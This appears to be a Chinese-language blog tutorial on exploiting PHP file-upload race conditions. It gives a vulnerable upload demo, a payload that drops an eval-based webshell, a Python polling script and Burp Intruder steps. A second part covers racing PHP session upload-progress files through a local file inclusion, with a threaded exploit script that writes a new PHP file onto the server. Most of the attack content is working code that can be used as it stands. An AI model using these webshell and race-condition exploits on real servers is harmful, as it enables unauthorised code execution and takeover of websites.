zoukankan      html  css  js  c++  java
  • 文件上传 之 条件竞争

    测试demo:

    <html>
    <body>
    <form action="" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file"/>  
    <input type="submit" name="submit" value="Submit" />
    </form>
    </body>
    </html>
    <?php
    
    if (!empty($_FILES)) {
    move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    unlink($_FILES['file']['name']);
    
    }
    ?>

    shell文件内容:

    <?PHP 
    echo md5(1);
    fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');
    ?>

    一直访问上传文件的py脚本:

    # coding:utf-8
    import requests
    def main():
        i=0
        while 1:
            try:
                print(i,end='
    ')
                a = requests.get("http://aaa.io/sssss.php")
                if "c4ca4238a0b923820dcc509a6f75849b" in a.text:
                    print("OK")
                    break
            except Exception as e:
                pass
            i+=1
    if __name__ == '__main__':
        main()

    其中的c4ca4238a0b923820dcc509a6f75849b = md5(1)

    burp设置:->发送到Intrudermo模块->

     

     然后同时运行我们的py脚本,和开启burp爆破,顺序无所谓,差不多挨着时间开启即可。

    另一个和session文件进行竞争

    demo:

    <?php
    if (isset($_GET['file'])) {
    	include './' . $_GET['file'];
    }

    这种情况在我们没办法上传文件的时候,怎么利用呢?那就是包含session文件。

    我们知道控制session开启的函数session_start(),当没有使用函数的时候怎么办呢?

    session下存在upload_progress属性,用来记录文件上传进度,并且默认是开启状态。

    也就是当我们的POST数据包中存在PHP_SESSION_UPLOAD_PROGRESS字段的时候,无需调用session_start()函数,也可初始化session。但是默认会在结尾进行清除,所以我们需要利用条件竞争。

    证明的demo:1.php

    <html>
    <body>
    <form action="" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>  
    <input type="file" name="file"/>  
    <input type="submit" name="submit" value="Submit" />
    </form>
    </body>
    </html>
    <?php
    ?> 

    注意:<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>一定要在<input type="file" name="file"/>前面,不然没办法控制生成的session文件名。

    漏洞利用脚本:

    import io
    import requests
    import threading
        
    sessid = 'ph1'
        
        
    def t1(session):
    	while True:
    		f = io.BytesIO(b'a' * 1024 * 50)
    		response = session.post(
    			'http://localhost/2.php',
    			data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=file_put_contents("shell123.php","<?=phpinfo();?>")?>'},
    			files={'file': ('a.txt', f)},
    			cookies={'PHPSESSID': sessid}
    		)
        
        
    def t2(session):
    	while True:
    		response = session.get(f'http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}')
    		print(response.text)
        
        
    with requests.session() as session:
    	t1 = threading.Thread(target=t1, args=(session, ))
    	t1.daemon = True
    	t1.start()
    
    	t2(session)

    修改对应的访问路径,和 session文件路径,即可。成功后生成shell123.php文件。

  • 相关阅读:
    day 48
    40 协程 多路复用
    JQuery
    JS DOMBOM
    psotgres、timescaledb
    crontab命令
    Go语言结构体和方法
    Go语言锁的使用
    Go语言map数据结构
    ZOJ 3777 Problem Arrangement
  • 原文地址:https://www.cnblogs.com/xiaozhiru/p/12639405.html
Copyright © 2011-2022 走看看